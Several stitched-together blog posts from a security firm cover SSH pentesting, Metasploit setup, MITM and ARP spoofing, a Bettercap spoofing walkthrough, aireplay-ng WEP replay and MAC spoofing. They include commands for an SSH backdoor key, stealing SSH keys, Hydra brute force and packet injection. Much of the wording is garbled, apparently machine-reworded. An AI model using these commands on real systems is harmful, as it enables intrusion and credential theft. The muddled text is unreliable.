Airzero Sec

Examining through every open port is essentially the first step hackers take in order to prepare for their attack. And in order to operate, one is expected to keep their port open but at the same time, they are intimidated by the fear of hackers. Therefore, one must learn to defend their ports even if they are open. In this post, we will consider penetration testing of SSH which is also recognized as Secure Shell.

The SSH protocol also declared as Secure Shell is a procedure for safe and reliable antique login from one computer to another. It allows various options for strong authentication, as it preserves the connections and communications and integrity with secure encryption. It is a protected alternative to the non-protected login protocols and insecure file transfer systems.

How do we install SSH?

It is very simple to install and configure ssh service, we can quickly install ssh set by using the OpenSSH-server package from the ubuntu repo. To install any help you must have a root right account and then follow the given below command.

apt install OpenSSH-server

When you do the above command it will remove the package the install the error configure on the host organization.

How do we do SSH port scanning?

If you don’t have a direct way to the host device, use Nmap to remotely recognize the port state that is estimated to be the primary step of the penetration test. Here we’re working to use Kali Linux to conduct penetration testing.

So, to recognize an open port on a remote network, we will use a variant scan of the map that will not only recognize an open port but will also complete a banner grabbing that displays the connected version of the service.

nmap -sV -p22 192.168.1.103

What are the methods to connect SSH?

Terminal Command (Linux) Now complete the next command to enter the ssh shell of the remote device as an approved user. Username: ignite Password: 123

ssh [email protected]

Putty (Windows)

• Step 1: Connect putty.exe and operate it, then start the HOST IP address <192.168.1.103> and port <22>, also want to connect type as SSH.
• Step 2: To establish an association between the client and the server, a putty gathering will be created that needs a login credential. Username: ignite Password: 123 How to do port redirection testing?

Thus, if we have worked the scan on port 22, it has given port state CLOSE for ssh whereas port 2222 OPEN for ssh which can be seen .

How to establish an SSH connection using an RSA key?

Safe passwords don’t seem to be nice to obtain from the server because a brute power attack can break them. That’s why you need an additional protection method to defend the SSH server.SSH key pairs are another important feature to confirm clients to the server. It consists of a long string of figures:

a public and a private key. You can put the public key on the server and the private key on the client device and unlock the server by comparing the private key of the client engine. Once the keys match up, the system allows you to automatically build an SSH session without the requirement to type in a password.

Ssh-keygen is a tool for generating new authentication key pairs for SSH. The before-mentioned key pairs are used for automating logins, single sign-on, and for verifying hosts. Thus, we will follow the steps for generating a key pair for a confirmed connection.

• Step 1: Move the given command to create an ssh key pair on the host device Ubuntu.

  Ssh-keygen

• Step 2: Equal should be done on the client device which is allowed to build the relationship with the host device.

• Step 3: Once the ssh key pair gets created then rename the id_rsa.pub into authorized_keys.

  ssh-keygen cd .ssh ls cat id_rsa.pub > authorized_keys

• Step 4: Give the authorized_keys to the host device by making it into the .ssh directory.

• Step 5: Correct the sshd_config from inside the /etc/sshd using the editor.

  nano /etc/ssh/sshd_config

• Step 6: Make the “password authentication no” comment As a consequence of only the authorized movement, the RSA key can create an association with the host machine without using the password.

Now if you require it to equate to the ssh server using your password username, the server will release your connection offer because it will authenticate the request that has an authorized key.

• Step 7: Follow the id_rsa key from Kali Linux to the windows device, to build an association using authorized_keys on the windows machine.

• Step 8: Connect puttygen.exe

• Step 9: Run puttygen.exe and place the id_rsa and “save as key” described as Key

• Step 10: Use putty.exe to combine with the host device by starting hostname 192.168.1.103 and port 22.

• Step 11: Drive to SSH >auth and peruse the private key that you have collected as mentioned in step 9.

How to exploit SSH with Metasploit?

SSH Key Persistence- Post Exploitation:
Suppose a situation, that by agreeing on the host device you have received a meterpreter gathering and need to leave a strong backdoor that will give a backward attachment for next time.

This can be accomplished with the guidance of the Metasploit module called “SSH Key Persistence-a post exploit” when port 22 is working on the host device. This module will continue an SSH key to a designated user, to allow past login on the victim via SSH at any point.

use post/linux/manage/sshkey_persistence
msf post(sshkey_persistence) > set session 1
msf post(sshkey_persistence) >exploit

As we guarantee this by joining the host device via port 22 using a private key created above. Here I have renamed the private as “key” and gave support600.

chmod 600 key
ssh -i key [email protected]

Stealing the SSH key

Suppose a place, that by agreeing on the host device you have received a meterpreter assembly and port 22 is open for ssh and you require to have SSH public key and authorized key. This can be done with the direction Metasploit module named “Multi Gather OpenSSH PKI Credentials Collection -a post exploit” as shown below.

This module will get the contents of all user’s .ssh directories on the targeted device. Additionally, known_hosts and authorized_keys and other files are also downloaded. This module is mainly based on firefox_creds.RB.

use post/multi/gather/ssh_creds
msf post(ssh_creds) >set session 1
msf post(ssh_creds) >exploit

authorized keys stored in the/home/ignite/.ssh folder in our local device at /root/.msf4/loot and now use those keys for login into an SSH server.

As we ensure this by connecting the host device via port 22 using the private key downloaded above. Let’s change the support for the RSA key and to do this follow the step given below.

chmod 600 key
ssh -i key [email protected]

SSH login using pubkey

Thinking you have the id_rsa key of the host device and want to obtain a meterpreter assembly via Metasploit and this can be accomplished with the guidance of the subsequent module.

This module will test ssh logins on a spectrum of devices using a defined private key file and report thriving logins. If you have placed a database plugin and compared it to a database this module will record strong logins and hosts so you can track your path. Key files may be a separate private key or individual private keys in a particular directory.

use auxillary/scanner/ssh /ssh_login_pubkey
auxiliary (scanner/ssh /ssh_login_pubkey)>set rhosts 192.168.1.103
auxiliary (scanner/ssh /ssh_login_pubkey)>set username ignite
auxiliary (scanner/ssh /ssh_login_pubkey)>set key_path /root/.ssh/id_rsa
auxiliary (scanner/ssh /ssh_login_pubkey)>exploit

This will open a commanded assembly which can be extra updated into the meterpreter assembly by doing the next command.

sessions -u 1

How do we do SSH password cracking?

We can examine a brute force attack on ssh for suggesting the password or to test the entrance policy while performing entrance testing on SSH. It needs a dictionary for username list and password list, here we have username reference“user.txt” and password account named “pass.txt” to create the brute force approach with the help of hydra

hydra -L user.txt -P pass.txt 192.168.1.103 ssh

As a result, you can recognize that the host device has no protection against brute force attack, and we were able to obtain ssh importance.

To preserve your aid against brute force drive you can use fail2ban which is an IPS.

If you have any doubts about this topic or have to get advice and get the best services and consultation about SSH installation and its ability. Feel free to contact us. AIRZERO SEC will be your strong digital solution. Email id: [email protected]

Author - Johnson Augustine
Ethical Hacker and Data Security Researcher
Founder: Airo Global Software Inc
LinkedIn Profile: www.linkedin.com/in/johnsontaugustine/

Rapid7 produces open-source installers for the Metasploit Frame on Linux, Windows, and OS X operating systems. The Metasploit installer ships with all the required provinces to run the Metasploit Framework. It covers msfconsole and enables associated accessories like John the Ripper and Nmap.

How to disable antivirus software?

Anti-virus software discovers the Metasploit Framework as wicked and may cause problems with the installation and runtime of Metasploit Framework. The Metasploit Framework utilizes the same vulnerabilities that the anti-virus software recognizes. Therefore, when you connect the Metasploit Framework, the anti-virus software obstructs the installation process and informs you of the defence risks that may infect the system.

If you plan to practice the Metasploit Framework, you should damage any anti-virus software before you place Metasploit Framework. If you cannot impair the anti-virus software, you must add the Metasploit directory from the scan.

How to disable firewalls?

Local firewalls, add Windows Firewall, conflict with the development of ventures and payloads. If you install the Metasploit Framework from after a firewall, the firewall may calculate the Metasploit Framework as malware and prevent the download. Please impair the local firewalls before you install or run Metasploit Framework. If you must move from behind a firewall, you should download the Metasploit Framework from the external network.

How to obtain administrator privileges?

To place the Metasploit Framework, you need to have administrator rights on the system that you need to use to cover the framework.

How to install the Metasploit framework on windows?

• Download the Windows installer.
• After you download the installer, settle the file and increase-click the installer icon to begin the installation method.
• When the Setup screen appears
• Select Next to continue.
• Know the consent agreement and choose the receive the license agreement choice. select Next to continue.
• Browse the area where you need to install the Metasploit Framework. By want, the framework is installed on the C:\ Metasploit-framework folder. Select Next to continue.
• select Install.
• The installation method can take 5-10 minutes to finish. When the installation finishes, click the Finish button.

• To begin msfconsole after the installation completes, run the below from the command line:

  $ msfconsole.bat

How to install the Metasploit framework on Linux?

• Open the terminal.

• Type the command to add the build repository and enable the Metasploit Framework package:

  curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall

• After the installation finishes, open a terminal window and type the below to start msfconsole:

  $ ./msfconsole

• The prompt tells you if you need to use and set up a new database. Type y or yes to run the first configuration script to build the initial database.

• If all goes well, the console begins and shows the following:

  Creating database at /Users/joesmith/.msf4/db
Starting Postgresql
Creating database users
Creating initial database schema
** Metasploit Framework Initial Setup Complete **
[*] Starting the Metasploit Framework console...-[*] The initial module cache will be built in the background, this can take 2-5 minutes...
/
Metasploit Park, System Security Interface
Version 4.0.5, Alpha E
Ready...
> access security
access: PERMISSION DENIED.
> access main security grid
access: PERMISSION DENIED....and...
YOU DIDN'T SAY THE MAGIC WORD!
YOU DIDN'T SAY THE MAGIC WORD!
=[ metasploit v4.11.0-dev [core:4.11.0.pre.dev api:1.0.0]]
+ -- --=[ 1454 exploits - 827 auxiliary - 229 post ]
+ -- --=[ 376 payloads - 37 encoders - 8 nops ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
msf >

• To check to see if the database was the build-up, execute the below command:

  $ db_status

• If the Metasploit Framework is successfully merged to the database, the below status displays:

  [*] postgresql connected to msf

How to install the Metasploit framework on OSX?

• Download the OSX package.
• After you enable the package, identify the file and double-click the installer icon to begin the installation process.
• When the Welcome screen appears, select Continue.
• Go through the license agreement and select Continue.
• Agree to the license agreement to make with the download process.
• Browse to the area where you need to install the Metasploit Framework if you need to change the default installation location.
• Select Install when you are ready to download the Metasploit Framework.
• The installation process can take 5-10 minutes to finish.
• When the installation finishes, select the Close button.

• To enable and begin the database, execute the following command:

  $ msfdb init

If you have any doubts about this topic or have to get advice and get the best services and consultation about metasploit framework . Feel free to contact us. AIRZERO SEC will be your strong digital solution. Email id: [email protected]

Author - Johnson Augustine
Ethical Hacker and Data Security Researcher
Founder: Airo Global Software Inc
LinkedIn Profile: www.linkedin.com/in/johnsontaugustine/

What is a MITM attack?

Man-in-the-middle attacks are a common type of cyber threat that enables attackers to listen to the communication between two points. The attack takes place within two legitimately corresponding hosts, leaving the attacker to “listen” to a discussion they should usually not be ready to listen to, hence the name “man-in-the-middle.

What are the types of MITM attacks?

Rogue Access Point :

Machines provided with broadcast cards will often try to auto-connect to the access point that is transmitting the most important signal. Criminals can set up their own wireless entrance point and deceive nearby plans to join its domain. All of the victim’s network traffic can now be controlled by the attacker. This is critical because the attacker does not also have to be on a dedicated network to do this—the attacker simply needs a close enough physical proximity.

ARP Spoofing

ARP is the Address Resolution Protocol. It is used to determine IP addresses to physical MAC addresses in a local area network. When a host requires to talk to a host with a given IP address, it references the ARP cache to determine the IP address to a MAC address. If the address is not recognized, a question is made asking for the MAC address of the machine with the IP address.

An attacker wanting to pose as another host could return to requests it should not be returning to with its own MAC address. With some definitely placed packets, an attacker can sniff the private traffic between two hosts. Valuable knowledge can be extracted from the traffic, such as the replacement of session tokens, allowing full access to application accounts that the attacker should not be able to access.

mDNS Spoofing

Multicast DNS is related to DNS, but it’s done on a local area network using broadcasts like ARP. This gives it a certain point for spoofing attacks. The local name resolution system is thought to make the configuration of network devices remarkably simple. Users don’t have to know precisely which addresses their agents should be interacting with they let the system choose it for them. Devices such as TVs, printers, and production systems take advantage of this protocol since they are typically on trusted networks. When an app requires to know the address of a certain device, such as tv. locally, an attacker can quickly respond to that request with fake data, telling it to resolve to an address it has control over. Since things have a local cache of addresses, the victim will now see the attacker’s device as trusted for a duration of time.

DNS Spoofing

Related to the way ARP resolves IP addresses to MAC addresses on a LAN, DNS resolves domain names to IP addresses. When using a DNS spoofing attack, the criminal attempts to open corrupt DNS cache data to a host in an effort to access another host using their domain name, such as www.onlinebanking.com. This points to the victim sending delicate data to a malicious host, with the hope they are sending information to a trusted source. An attacker who has previously tricked an IP address could have a much more comfortable time duping DNS solely by resolving the address of a DNS server to the attacker’s address.

What is the MITM attack technique?

Sniffing

Attackers use packet recovery tools to inspect packets at a deep level. Using specific broadcast machines that are allowed to be put into monitoring or mixed-mode can allow an intruder to see containers that are not selected for it to see, such as packets addressed to other hosts.

Packet Injection

An attacker can also leverage their equipment monitoring mode to inject malicious packets into data message streams. The packets can combine with valid data communication streams, resembling to be part of the communication, but wicked in nature. Packet injection normally includes first smelling to determine how and when to craft and send packets.

Session Hijacking

Most web applications use a login mechanism that generates a temporary session token to use for future requests to avoid requiring the user to type a password at every page. An attacker can sniff sensitive traffic to identify the session token for a user and use it to make requests as the user. The attacker does not need to spoof once he has a session token.

SSL Stripping

Since using HTTPS is an actual safeguard against ARP or DNS spoofing, attackers use SSL stripping to prevent packets and alter their HTTPS-based address applications to go to their HTTP equivalent endpoint, requiring the host to secure requests to the server unencrypted. Sensitive details can be leaked in plain text.

How to detect a man in the middle attack?

Catching a Man-in-the-middle attack can be hard without taking the individual steps. If you aren't actively examining to determine if your messages have been prevented, a Man-in-the-middle attack can probably go ignored until it's too late. Monitoring for proper page authentication and completing some sort of tamper illness are typically the key systems to detect a probable attack, but these ideas might require extra forensic analysis after the fact. It's important to take careful measures to stop MITM attacks before they occur, rather than striving to detect them while they are actively happening. Being aware of your browsing disciplines and identifying possibly harmful areas can be crucial to keeping a strong network. Below, we have involved five of the best practices to prevent MITM attacks from compromising your communications.

What are the practices to prevent man-in-the-middle attacks?

Strong WEP/WAP Encryption on Access Points

Having a secure encryption mechanism on wireless access points blocks unwanted users from meeting your network just by being nearby. A vulnerable encryption mechanism can enable an enemy to make his way into a network and begin man-in-the-middle attacking. The stronger the encryption implementation, the safer.

Strong Router Login Credentials

It’s necessary to make sure your error router login is developed. Not just your Wi-Fi password, but your router login credentials. If a criminal gets your router login credentials, they can turn your DNS servers into their wicked servers. Or even worse, infect your router with malicious software.

Virtual Private Network

VPNs can be used to build a safe environment for sensitive data within a local area network. They use key-based encryption to produce a subnet for a secure connection. This way, even if an attacker appears to get on a system that is shared, he will not be able to decipher the traffic in the VPN.

Force HTTPS

HTTPS can be used to securely transfer over HTTP using a public-private key exchange. This limits an intruder from having any use of the information he may be sniffing. Websites should only use HTTPS and not give HTTP options. Users can install browser plugins to enforce always using HTTPS on requests.

Public Key Pair Based Authentication

Man-in-the-middle attacks typically include spoofing something or another. Public key pair-based authentication like RSA can be used in various layers of the stack to help ensure whether the questions you are interacting with are actually the things you want to be communicating with.

If you have any doubts about this topic or have to get advice and get the best services and consultation against MITM attacks. Feel free to contact us. AIRZERO SEC will be your strong digital solution. Email id: [email protected]

Author - Johnson Augustine
Ethical Hacker and Data Security Researcher
Founder: Airo Global Software Inc
LinkedIn Profile: www.linkedin.com/in/johnsontaugustine/

Address Resolution Protocol (ARP) poisoning is a seizure that involves conveying spoofed ARP communications over a local area network. It’s also identified as ARP spoofing, ARP poison routing and ARP cache poisoning. These interventions strive to redirect transactions from their originally designated host to an attacker instead. ARP poisoning does this by comparing the attacker’s Media Access Control (MAC) address with the IP address of the destination. It only works against arrangements that use ARP.

ARP poisoning is a kind of man-in-the-middle attack that can be used to stop network traffic, improve it, or intercept it. The procedure is often used to launch further invasions, such as session hijacking or denial-of-service. Before you can know what ARP poisoning is, it’s essential to have a piece of solid knowledge of the ARP protocol. Before we can speak about the ARP protocol, we require to back up just a tiny bit further and discuss the Internet protocol suite.

What is the internet protocol suite?

When you start up the web browser on your phone, the memes and cat photographs are addressed to you almost immediately and with little work, making the process seem easy.

It can appear as if your phone and the server that hosts the cat pictures are related like two cups on a string, and that like two children playing telephone, the cat photo just travels along some wires and seems on your phone like the sound of a voice over the string. Given the currency of wifi and data these days, it may even appear like the cat picture anyhow moves across the ether.

Of course, this isn’t the problem. The cat picture’s journey is actually pretty complex, driving across a multi-layered system that is best approximated with the Internet protocol suite model:

• The application layer:
  At the application layer, neither you, your web browser nor the server software are very conscious of how the cat picture got brought to you. You don’t know how many routers the data for the cat design went through, or whether it travelled over wireless attachments. All you know is that you agreed on a link and that the cat picture came to you.
• The transport layer:
  With the transport layer, we get below the hood a small bit. The transport layer is accountable for establishing a relationship between the client and the server that hosts the website. The transport layer retains an eye on the attachment and looks for typos, but it doesn’t worry about how the data is moved between the client and the server.
• The internet layer:
  Internet layer software is useful for moving data between the networks. It doesn’t bother about the cat picture’s data and handles it the identical as it would treat data for an ebook about chemistry. Once the internet layer software makes the cat picture data to your local network, it hands it off to the link-layer software.
• The link-layer:
  Link layer software moves both ingoing and friendly data within your local network. It uses the data for the cat picture from the internet layer software and passes them to your device.

Each of the higher layers can have a collection of different protocols running for them to complete their jobs. This combination of a system somehow runs cohesively to bring the cat picture from the server to your phone’s screen. What is the address resolution protocol?

The address resolution protocol (ARP) is just one of these protocols. It’s used to determine which link-layer address, such as a MAC address, answers with a given internet layer address for a real machine. These are usually IPv4 addresses.

Since IPV4 is still the most generally used internet protocol, ARP usually bridges the gap between 32-bit IPv4 addresses and 48-bit MAC addresses. It goes in both areas.

The association between a given MAC address and its IP address is stored in a table identified as the ARP cache. When a packet heading towards a host a LAN gets to the gateway, the gateway uses ARP to join the MAC or physical host address with its correlating IP address.

The host then combs through its ARP cache. If it determines a similar address, the address is used to change the format and packet length. If the right address isn’t seen, ARP will carry out a request packet that requires other machines on the local network if they understand the exact address. If a machine responds with the address, the ARP cache is refreshed in case there are any future questions from the same origin.

What is ARP spoofing?

Now that you know more about the underlying protocol, we can cover ARP poisoning in more intensity. The ARP protocol was revealed to be productive, which led to a severe lack of security in its purpose. This gives it comparatively easy for someone to fix these attacks, as long as they can reach the local network of their purpose. ARP poisoning includes shipping forged ARP reply packets to a gateway over the local network. Attackers typically use kidding tools like Arpspoof or Arppoison to make the task manageable. They set the IP address of the tool to meet the address of their destination. The tool then scans the purpose LAN for the IP and MAC addresses of its hosts. Once the criminal has the addresses of the hosts, they begin sending forged ARP packages over the local network to the hosts. The fraudulent information tells the objects that the attacker’s MAC address should be related to the IP address of the device they are targeting.

This appears in the recipients renewing their ARP cache with the attacker’s location. When the recipients interact with the purpose in the future, their messages will really be sent to the attacker instead.

At this point, the attacker is quietly in the center of the communications and can leverage this situation to read the traffic and keep data. The attacker can also alter information before they get to the destination, or even stop the connections perfectly.

How to detect ARP spoofing?

ARP poisoning can be identified in diverse several ways. You can use Windows’ Command Prompt, a free-source packet analyzer such as Wireshark, or exclusive options such as XArp.

Command prompt

If you assume you may be experiencing an ARP poisoning charge, you can stay in Command Prompt. First, open Command Prompt as an executive. The most simple way is to press the Windows key to open the start menu. Class in “cmd”, then hold Crtl, Shift and Enter at the very time. This will bring up Command Prompt, although you may have to agree Yes to give the app support to make changes. In the command line, open:

arp -a

The table displays the IP addresses in the left column, and MAC addresses in the center. If the table includes two different IP addresses that accord the same MAC address, then you are apparently undergoing an ARP poisoning attack.

As an example, let’s say that your ARP table includes a number of diverse addresses. When you scan through it, you may see that two of the IP addresses have the corresponding physical address. You might see something like this in your ARP table if you are really being abolished:

Internet Address Physical Address 192.168.0.1 00-17-31-dc-39-ab 192.168.0.105 40-d4-48-cr-29-b2 192.168.0.106 00-17-31-dc-39-ab

As you can see, both the front and the third MAC addresses the event. This means that that the purchaser of the 192.168.0.106 IP address is most possible the attacker.

How to prevent ARP spoofing?

You can use different ways to limit ARP poisoning, each with its own positives and negatives. These add static ARP entries, encryption, VPNs and packet sniffing.

Static ARP entries

This answer requires a lot of organizational overhead and is only suggested for shorter networks. It requires adding an ARP entry for every device on a network into each personal computer.

Mapping the devices with sets of static IP and MAC addresses serves to block spoofing attacks because the devices can neglect ARP replies. Sadly, this solution can only shield you from simpler attacks.

Encryption

Protocols such as HTTPS and SSH can also serve to decrease the chances of a strong ARP poisoning attack. When traffic is encrypted, the attacker would have to go to the extra step of deceiving the target’s browser into taking an illegitimate certificate. However, any data forwarded outside of these protocols will still be exposed.

VPNs

VPNs can be a sound defence for individuals, but they are usually not proper for larger groups. If it is just a particular person making a possibly dangerous association, such as using public wifi at an airport, then a VPN will encrypt all of the data that goes between the client and the exit server. This serves to keep them safe because an enemy will only be prepared to see the ciphertext.

It’s a less-feasible answer at the organizational level because VPN joints would want to be in place within each computer and each server. Not only would this be difficult to set up and support, but encrypting and decrypting on that scale would also check the network’s show.

Packet filters

These filters examine each packet that orders sent across a network. They can filter out and block malicious packets, as well as those whose IP addresses are different. Packet filters can also tell if a packet claims to come from an inside network when it actually originates externally, helping to decrease the possibilities of an attack being victorious.

How to protect the network from ARP spoofing?

If you need your network to be protected from the intimidation of ARP poisoning, the best plan is a sequence of the above-mentioned prevention and discovery tools. The overriding methods tend to have flaws in certain circumstances, so even the most protected environment may find itself under attack.

If active exposure tools are in place as well, then you will know about ARP poisoning as soon as it works. As long as your network controller is quick to act once informed, you can usually shut down these attacks before much damage is done.

If you have any doubts about this topic or have to get advice and get the best services and consultation against ARP spoofing. Feel free to contact us. AIRZERO SEC will be your strong digital solution. Email id: [email protected]

Author - Johnson Augustine
Ethical Hacker and Data Security Researcher
Founder: Airo Global Software Inc
LinkedIn Profile: www.linkedin.com/in/johnsontaugustine/

What is Man In The Middle Attack(MITM)?

A man-in-the-middle attack is an attack where the attacker privately relays and possibly makes changes to the communications between two machines who believe that they are directly connected with each other. In order to act a man-in-a-middle attack, we are required to be in the same network as our victim because we have to fool these two machines.

How to initiate the attack by running Bettercap?

To know which network interface is used we can easily type ifconfig.

In this case, it is wlan0, so just type bettercap -iface wlan0 and press enter.

As you can see now we are already inside the tool, but it’s just a blank space without any details. In order to make our work easier, we can type help and then press enter here is what it shows us.

Now we have some details about this, but our concern here is the module. For more details, we can type help followed by module’s name for example help net. Probe.

So, this module consists of various parameters, but for now, let's just keep it default and turn on the module by typing net. probe on.

Now the module is already executing, what actually happens is the module is scanning all the machines connected to the same network as our pc, including its IP address, mac address and vendor’s name. To make things clearer we can type net. show for further details.

So, Raspberry Pi is the machine used to perform this attack and my IP address is 192.168.1.4. The router IP address is 192.168.1.1 knew it by the Name column that shows the gateway and the rest is the client communicated to this network. Now we can choose an option which one to be our victim.

Just like the previous module, it’s consists of various parameters. First, let’s take a look at arp. spoof.full-duplex parameter. In order to be the man in the middle, we need to fool both the victim and the router by telling the router that the victim’s mac address is our mac address and telling the victim that the router’s mac address is our mac address. So we need to set this parameter to true by typing set arp. spoof.full-duplex true. Secondly, we need to set arp. spoof.targets parameter by simply giving it the IP address of our victim. So in my case, it will be set arp. Spoof. targets 192.168.1.3.

After setting up these 2 parameters we are ready to fire up this module by typing arp. spoof on. But wait a second let us go to windows 10 and type arp -a.

Like we already know when we enter the net. show command that my router IP’s is 192.168.1.1 and its mac is e4:::::e4 which is the real one. So worst things have not happened. Let’s go back to raspberry pi and fire up arp. spoof by typing arp. spoof on.

Now we are already in the middle of the victim which is windows 10 and my router. To make sure let’s open up cmd on windows 10 and type arp -a. Press type and then I’m gonna move to windows 10. Nothing is worst on the browser everything is just fine. Yeah! we know that our victim is accessing vulnweb.com.

If you have any doubts about this topic or have to get advice and get the best cybersecurity services and consultation about man-in-the-middle- attack. Feel free to contact us. AIR ZERO SEC will be your strong digital solution. Email id: [email protected]

Author - Johnson Augustine
Ethical Hacker and Data Security Researcher
Founder: Airo Global Software Inc
LinkedIn Profile: www.linkedin.com/in/johnsontaugustine/

The best ARP request replay attack is the most suitable way to make new initialization vectors, and it runs very reliably. The program looks for an ARP packet then retransmits it back to the point that it accesses. This, in turn, causes the access point to continuously loop the ARP packet with the latest IV. The function retransmits the same ARP packet more and more. However, each packet repeated by the access point has the latest IVs. It is all these latest initialization vectors that make you determine the WEP key.

What is ARP?

ARP is address protocol: A TCP/IP protocol used to change an IP address into an external address, such as an Ethernet address. A host wishing to gain an external address broadcasts an ARP request onto the TCP/IP. The admin on the network that has the address in the request then replies with its physical hardware address.

What is the usage of ARP?

The basic usage is :

aireplay-ng -3 -b 00:13:10:30:24:9C -h 00:11:22:33:44:55 ath0

Where this was used:

• 3 means classic arp request replay
• -b 00:13:10:30:24:9C is the gain point MAC address
• -h 00:11:22:33:44:55 is the source MAC address
• ath0 is the wireless user interface name

The next usage is:

aireplay-ng -3 -b 00:13:10:30:24:9C -h 00:11:22:33:44:55 -r
replay_arp-0219-115508.cap ath0

Where is it used:

• -3 means classic arp request replay
• -b 00:13:10:30:24:9C is the point of MAC address
• -h 00:11:22:33:44:55 is the gain point MAC address
• -r replay_arp-0219-115508.cap is the name of the file from your last perfect ARP replay
• ath0 is the wireless interface

The next usage is :

aireplay-ng -2 -r replay_arp-0219-115508.cap ath0

Where is it used:

• 2 means interactive frame
• -r replay_arp-0219-115508.cap is the name of the folder from your final successful ARP replay

What are the examples of the usage?

For all of the given examples, use airmon-ng to put your card in monitor mode first. You cannot inject packages unless it is in monitor mode.

For this type of attack, you need either the MAC address of a client , or a fake MAC address from the attack. The simplest and fastest way is to use the MAC address of a client. This can be obtained through airodump-ng. The reason for using a MAC address is that the gain point will only require and repeat packets where the sending MAC is “associated”.

You may need to wait for a couple of seconds, or even longer, until an ARP request pops up. This type of attack will fail if there is no traffic.

Enter below command:

aireplay-ng -3 -b 00:14:6c:7e:40:80 -h 00:0F:B5:88:AC:82 ath0

The system will responds:

Saving ARP requests in replay_arp-0219-123051.cap

You should also start airodump-ng to hold the replies.

Read 11978 packets (got 7193 ARP requests), sent 3902 packets...

Initially the last line will look same as the below command: Read 39 packets , sent 0 packets...

Then when this type of attack is in progress, the zeroes display the actual counts as in the full sample that is given above. You can also make sure of this by running airodump-ng to hold the IVs being created. It should show the data count increasing rapidly for the specific access point.

The second we will look at is reusing the captured ARP from the above example. You will show that it said the ARP requests were being used in “replay_arp-0219-123051.cap”. So rather then waiting for a new ARP, we simply continue to use the old ones with the “-r” parameter:

aireplay-ng -2 -r replay_arp-0219-123051.cap ath0

The system responds like the below command:

Size: 86, FromDS: 0, ToDS: 1 (WEP)
BSSID  =  00:14:6C:7E:40:80
Dest. MAC  =  FF:FF:FF:FF:FF:FF
Source MAC  =  00:0F:B5:88:AC:82
0x0000:  0841 0000 0014 6c7e 4080 000f b588 ac82  .A....l~@.......
0x0010:  ffff ffff ffff 7092 e627 0000 7238 937c  ......p..'..r8.|
0x0020:  8011 36c6 2b2c a79b 08f8 0c7e f436 14f7  ..6.+,.....~.6..
0x0030:  8078 a08e 207c 17c6 43e3 fe8f 1a46 4981  .x.. |..C....FI.
0x0040:  947c 1930 742a c85f 2699 dabe 1368 df39  .|.0t*._&....h.9
0x0050:  ca97 0d9e 4731                           ....G1
Use this packet ? y

You say “y” and then your device will create injecting:

Saving chosen packet in replay_src-0219-123117.cap

You should also start airodump-ng to hold the replies.

 Sent 3181 packets...

As well, you can continuously use per the Usage Section above:

aireplay-ng -3 -b 00:13:10:30:24:9C -h 00:11:22:33:44:55 -r replay_arp-0219-115508.cap ath0

At this time, if you have not already done so, start airodump-ng to hold the IVs being generated. The data count should be increasing continuously.

When you are doing this at home, to create an ARP packet to start with the ARP injection, simply ping a non-existent IP on the network.

If you have any doubts about this topic or have to get advice and get the best services and consultation about ARP request replay attack . Feel free to contact us. AIRZERO SEC will be your strong digital solution. Email id: [email protected]

Author - Johnson Augustine
Ethical Hacker and Data Security Researcher
Founder: Airo Global Software Inc
LinkedIn Profile: www.linkedin.com/in/johnsontaugustine/

Changing MAC address or we also can tell that MAC address spoofing will be useful in some situations, but we will discuss it later in the conclusion of this blog.

The main requirement needed for this spoofing is a Linux terminal.

Steps needed to change mac address:

• The first step is to Open your terminal, and enter

  ifconfig | grep HWaddr

• To change your mac address temporarily, we need to switch off the network interface first by running the below command

  ifconfig eth0 down

• he next step is that we can configure the new MAC address

  ifconfig eth0 hw ether 00:00:00:00:00:02

• Next we can switch on the network interface again

  ifconfig eth0 up

• And the last step we can check again our MAC whether it's changed or not. Go to the next page to display how to change MAC addresses permanently.

• Kali Linux was made based on Debian. In Debian all the network interfaces were located on

  /etc/network/interfaces

• We will merge the /etc/network/interfaces. In this blog I will use a pico text editor, but you can select any of the text editors.

  pico /etc/network/interfaces

• Now we will include one line of script to change our MAC address forever

  pre-up ifconfig eth0 hw ether 00:00:00:00:00:02

• If we want to store again the default MAC address, just add the # sign in front of command in the above step.

  #pre-up ifconfig eth0 hw ether 00:00:00:00:00:02

What is the conclusion:

Changing MAC addresses is basically required for privacy and to prevent tracking in the local network about your hardware details. Some network administrators make blocking rights in proxy and router by including the MAC address. To ensure interoperability and prevent being removed by the proxy and router blacklist rule, we can atlast change our MAC address.

If you have any questions about this topic or have to get advice and get the best services and consultation against cyber problems. Feel free to contact us. AIRZERO SEC will be your strong firewall. Email id: [email protected]

Author - Johnson Augustine
Ethical Hacker and Data Security Researcher
Founder: Airo Global Software Inc
LinkedIn Profile: www.linkedin.com/in/johnsontaugustine/

The number of people with cybersecurity skills is rising, and more than ever, organizations are in need of security professionals to protect their networks and devices. So whether you’re just a beginner in cybersecurity or you’re established as a professional, you constantly need to work on practicing and needle your hacking skills.

Penetration testing, also known as a pen test, pentest, and ethical hacking, is an authorized simulated cyber attack on a computer device, acted to evaluate the safety of the system. This is not to be confused with a vulnerability checker. The test is performed to find weaknesses, including the potential for unwanted parties to gain access to the device’s features and data, as well as power, enabling a full risk assessment to be completed.

The main websites are:

• Hack the box
• CTFlearn
• bWAPP
• Hack this site
• Google Gruyere
• Try2hack
• WebGoat
• RootMe

What about Hack the box?

Hack The Box is a massive, online cyber safety training platform, allowing persons, organizations, universities, and all types of organizations around the world to level up their hacking abilities. Hack The Box is the world's greatest hacking community where you study and track your progress. You also get invitations to hack websites applying your hacking style.

What about CTFlearn?

CTFlearn is another largely popular ethical hacking platform. Offered as “The most beginner-useful way to get into hacking”, CTF learn boasts a worldwide following of over 70,000 people who are there to study, practice and compete.

The platform’s name derives from Capture The Flag , which is popular in the hacking platform for its contents and reputation as a favorite cybersecurity big challenge for beginners as well as professional attackers. CTFlearn also features challenges and competitions that give the users the skill to act as both attacker and defender.

What about bWAPP?

bWAPP is an open-source deliberately unsafe application. It helps safety enthusiasts, programmers, and students to discover and to prevent web weaknesses. bWAPP prepares one to conduct successful penetration testing and more projects. Well, it has over web weaknesses It covers all major known bugs. It can also be enabled with WAMP and XAMPP. Another possibility is to install the bee-box, a personalized Linux VM pre-enabled with bWAPP.

What about hack the site?

